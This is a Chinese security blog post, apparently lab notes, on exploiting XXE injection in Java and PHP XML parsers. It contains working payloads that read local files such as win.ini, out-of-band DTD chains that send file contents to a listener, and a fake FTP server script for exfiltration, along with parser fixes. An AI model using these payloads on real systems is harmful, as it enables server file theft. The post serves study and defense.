0x00 前言

感觉之前写的还是模糊,再回顾一下,基本结构就不说了

这里列一下,不同程序所支持的协议

LIBXML2 PHP JAVA .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

其中php支持的协议会更多一些,但需要一定的扩展支持

Scheme Required
https,ftps openssl
zip zip
ssh2.shell,ssh2.exec,ssh2.tunnel,ssh2.sftp,ssh2.scp ssh2
rar rar
ogg oggvorbis
expect expect

其中expect可以做到代码执行

0x01 Java

在Java种有很多类是可以解析xml文档的

具体可以参考github

比如下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
...

漏洞类型

回显型

这里以javax.xml.parsers.DocumentBuilder为例

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@RequestMapping("xxe")
@ResponseBody
public String xxe(@RequestBody String rawMsg){
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(rawMsg);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
return e.getMessage();
}
}

这里没有什么好说的,测试payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:\\windows\\win.ini" >]>
<root>
<name>&xxe;</name>
</root>

成功回显

image-20220509134527851

无回显型

这里以org.xml.sax.XMLReader为例子

测试代码

1
2
3
4
5
6
7
8
9
10
11
@ResponseBody
@RequestMapping("bindxxe")
public String bindXxe(@RequestBody String rawMsg){
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(rawMsg))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
return e.getMessage();
}
}

这种可以通过dsnlog类似的平台测试

image-20220509134903795

利用限制

存在回显的情况啥都好说,在无回显的情况下,要怎么获取数据呢

只能带外查询,关于带外的协议就是http或者ftp

但是http的协议知识get请求,这种情况下不能带CR或者LF字符,也就是无法读取存在换行符的文件

http协议

测试payload

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///F:\\aaa.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8225/1.xml">
%remote;
%send;
]>
<root></root>

1.xml文件

1
2
3
4
<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8080/writefile?contents=%file;'>"
>
%payload;

接受参数的方法

1
2
3
4
5
6
7
8
@ResponseBody
@RequestMapping("writefile")
public String writeFile(@RequestParam(value = "contents") String fileContents) throws IOException {
BufferedWriter out = new BufferedWriter(new FileWriter("F:\\javaweb\\test.txt",false));
out.write(fileContents);
out.close();
return "finish";
}

可以成功写入单行文件

image-20220509144059188

而对于多行文件则会报错

image-20220509144205027

ftp协议

其实我测试的时候ftp也不行了,但是前面有文章可以测,不知道方式是什么

我的ftp同样也会报这个错误,当然这是环境中的代码

image-20220509171557670

具体可以拿之前的代码测试

但是由于这是jar包中的东西,不好修改,就是进入被动模式之后,客户端会发来一个QUIT,估计就是换行符被检测到了

这里搞一下python的库

测试代码:服务端

ftpserver.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
# 实例化DummyAuthorizer来创建ftp用户
authorizer = DummyAuthorizer()
# 参数:用户名,密码,目录,权限
authorizer.add_user('admin', '123456', r'F:\ftp', perm='elradfmwMT')
# 匿名登录
# authorizer.add_anonymous('/home/nobody')
handler = FTPHandler
handler.authorizer = authorizer
# 参数:IP,端口,handler
server = FTPServer(('127.0.0.1', 7777), handler) #设置为0.0.0.0为本机的IP地址
server.serve_forever()

ftpclient.py,这里只留下上传功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding: utf-8 -*-
from ftplib import FTP
import time, tarfile, os


# 连接ftp
def ftpconnect(host, port, username, password):
ftp = FTP()
# 打开调试级别2,显示详细信息
# ftp.set_debuglevel(2)
ftp.connect(host, port)
ftp.login(username, password)
return ftp


# 从ftp下载文件
def downloadfile(ftp, remotepath, localpath):
# 设置的缓冲区大小
bufsize = 1024
fp = open(localpath, 'wb')
ftp.retrbinary('RETR ' + remotepath, fp.write, bufsize)
ftp.set_debuglevel(0) # 参数为0,关闭调试模式
fp.close()


# 从本地上传文件到ftp
def uploadfile(ftp, remotepath, localpath):
bufsize = 1024
fp = open(localpath, 'rb')
ftp.storbinary('STOR ' + remotepath, fp, bufsize)
ftp.set_debuglevel(0)
fp.close()


if __name__ == "__main__":
# host,port, username, password
ftp = ftpconnect("127.0.0.1", 7777, "admin", "123456")
# 上传文件,第一个是要上传到ftp服务器路径下的文件,第二个是本地要上传的的路径文件
uploadfile(ftp, '/upload/1.txt\r\n/dasd', "F:/aaa.txt")
# ftp.close() #关闭ftp
# #调用本地播放器播放下载的视频
# os.system('start D:\soft\kugou\KGMusic\KuGou.exe C:\Users\Administrator\Desktop\ftp\test.mp3')

print(ftp.getwelcome()) # 打印出欢迎信息
# 获取当前路径
pwd_path = ftp.pwd()
print("FTP当前路径:", pwd_path)
# 显示目录下所有目录信息
# ftp.dir()
# 设置FTP当前操作的路径
# ftp.cwd('/upload/')
# # 返回一个文件名列表
# filename_list = ftp.nlst()
# print(filename_list)
#
# ftp.mkd('目录名') # 新建远程目录
# ftp.rmd('目录名') # 删除远程目录
# ftp.delete('文件名') # 删除远程文件
# ftp.rename('fromname', 'toname') # 将fromname修改名称为toname
#
# # 逐行读取ftp文本文件
# file = '/upload/1.txt'
# ftp.retrlines('RETR %s' % file)
# 与 retrlines()类似,只是这个指令处理二进制文件。回调函数 cb 用于处理每一块(块大小默认为 8KB)下载的数据
# ftp.retrbinary('RETR %s' % file)

可以看到的是,确实现在在库里面都被禁掉了

image-20220509172216316

我们可以尝试注释,可以发送了但是会收到一个错误的回复

image-20220509174001244

抓取数据包可以看到,回复的500异常

image-20220509174051551

这里需要提一下ftp的命令

FTP 命令 说明
ABOR 使服务器终止前一个 FTP 服务命令,以及任何相关数据传输
ACCT 使用一个 Telnet 字符串来指明用户的账户
ALLO 为服务器上的文件存储器分配空间
APPE 添加文件到服务器同名文件
CDUP 改变服务器上的父目录
CWD 改变服务器上的工作目录
DELE 删除服务器上的指定文件
EPSV 进入扩展被动模式
HELP 返回指定命令信息
LIST 如果是文件名,列出文件信息;如果是目录,则列出文件列表
MODE 传输模式(S=流模式、B=快模式、C=压缩模式)
MKD 在服务器上建立指定目录
NLST 列出指定目录内容
NOOP 无动作,仅让服务器返回确认信息
PASS 系统登录密码
PASV 请求服务器,等待数据连接
PORT
IP 地址和两字节的端口 ID
PWD 显示当前工作目录
QUIT 从 FTP 服务器上退出登录
REIN 重新初始化登录状态连接
REST 由特定偏移量重启文件传递
RETR 从服务器上找回(复制)文件
RMD 在服务器上删除指定目录
RNFR 对旧路径重命名
RNTO 对新路径重命名
SITE 由服务器提供的站点特殊参数
SMNT 挂载指定文件结构
STAT 在当前程序或目录上返回信息
STOR 储存(复制)文件到服务器上
STOU 储存文件到服务器名称上
STRU 数据结构(F=文件、R=记录、P=页面)
SYST 返回服务器使用的操作系统
TYPE 数据类型(A=ASCII、E=EBCDIC、I=binary)
USER> 系统登录的用户名

还有就是应答码

应答码 说明
110 新文件指示器上的重启标记
120 服务器准备就绪的时间(分钟数)
125 打开数据连接,开始传输
150 打开数据连接
200 就绪命令(命令成功)
202 命令没有执行
211 系统状态回复
212 目录状态回复
213 文件状态回复
214 帮助信息回复
215 系统类型回复
220 服务就绪
221 退出 FTP
225 打开数据连接
226 结束数据连接(下载完成、目录列表完成等)
227 进入被动模式(IP 地址、ID 端口)
230 成功登录 FTP 服务
250 完成目录切换
257 路径名建立
331 要求密码
332 要求账号
350 文件行为暂停
421 服务关闭
425 无法打开数据连接
426 结束连接
450 文件不可用
451 遇到本地错误
452 磁盘空间不足
500 无效命令
501 错误参数
502 命令没有执行
503 错误指令序列
504 无效命令参数
530 登录 FTP 服务失败
532 存储文件需要账号
550 文件不存在
551 不知道的页类型
552 超过存储分配
553 文件名不允许

然后我们可以根据自己抓取的数据,伪造一个服务端

最终测试代码client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from ftplib import FTP


# 连接ftp
def ftpconnect(host, port, username, password):
ftp = FTP()
ftp.connect(host, port)
ftp.login(username, password)
return ftp


# 从本地上传文件到ftp
def uploadfile(ftp, remotepath, localpath):
bufsize = 1024
fp = open(localpath, 'rb')
ftp.storbinary('STOR ' + remotepath, fp, bufsize)
ftp.set_debuglevel(0)
fp.close()


if __name__ == "__main__":
ftp = ftpconnect("127.0.0.1", 7777, "admin", "123456")
with open("C:/windows/win.ini", 'r') as f:
content = f.read()
f.close()
uploadfile(ftp, '/upload/1.txt\r\n/aaaa', "F:/aaa.txt")


server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import socket


host = '127.0.0.1'
port = 7777
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn, address = sk.accept()
conn.send(b"220 ready\n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
conn.send(b"331 Username ok,send password\n")
print(conn.recv(20))
conn.send(b"230 Login successful\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
conn.send(b"200 Type set to: Bin\n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen(5)
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
conn.send(b"200 \n")
content = conn.recv(20)
while content != b'':
print(content)
conn.send(b"200 \n")
content = conn.recv(1024)

conn.close()

成功获取到了数据

image-20220509181826627

但是这都是在底层的库文件没有禁的情况下

猜测java也一样,估计被禁掉了

那就算了,如果有的话参考文章关于Java 中 XXE 的利用限制探究

修复

1
2
3
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

0x02 PHP

PHP下自然也分有回显和无回显

PHP中的漏洞函数有

  • simplexml_load_string函数
  • simplexml_load_file函数
  • SimpleXMLElement对象
  • DOMDocument类

这里就以simplexml_load_string为例

回显

测试代码

1
2
3
4
5
<?php
$note = file_get_contents("php://input");
$xml = simplexml_load_string($note,'SimpleXMLElement',LIBXML_NOENT);
var_dump($xml);
?>
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
<root>
<name>&xxe;</name>
</root>

image-20220509184325115

无回显

重点还是无回显的,比起java来,php存在大量的编码器,倒是可以轻松做到文件读取

可以通过php伪协议

image-20220509184600011

利用方式和上面一样加载一个远程的dtd,然后外带出来

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8225/1.xml">
%remote;
%send;
]>
<root></root>
1
2
3
4
<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8080/writefile?contents=%file;'>"
>
%payload;
1
2
3
4
5
6
7
8
@ResponseBody
@RequestMapping("writefile")
public String writeFile(@RequestParam(value = "contents") String fileContents) throws IOException {
BufferedWriter out = new BufferedWriter(new FileWriter("F:\\javaweb\\test.txt",false));
out.write(fileContents);
out.close();
return "finish";
}

这里为什么选择java呢

是因为get参数的限制,其实http协议本身对get并没有限制,不同的长度知识浏览器和web服务器决定的

暂时没找到apache的配置

在nginx下可以通过

  • client_header_buffer_size 配置,此参数默认为1k

但是配置了之后,会发现,基于nginxphp环境依然不成,截图没了

这是因为在cgi模式下,最大的接受长度为65535

但是目测在tomcat下并没有这个限制,单一的tomcat,所以可以用tomcat读取大文件

比如mysql的数据表文件什么的几十k的目测问题不大

修复

取决于libxml库的版本,现在基本看不到这个洞了,但是还有

如果想在代码中修复的话,就在解析xml之前添加如下代码

1
libxml_disable_entity_loader(true);

0x03 end

本来想好好写一下php的,但是现在发现没必要了,只记录一个操作方法就可以了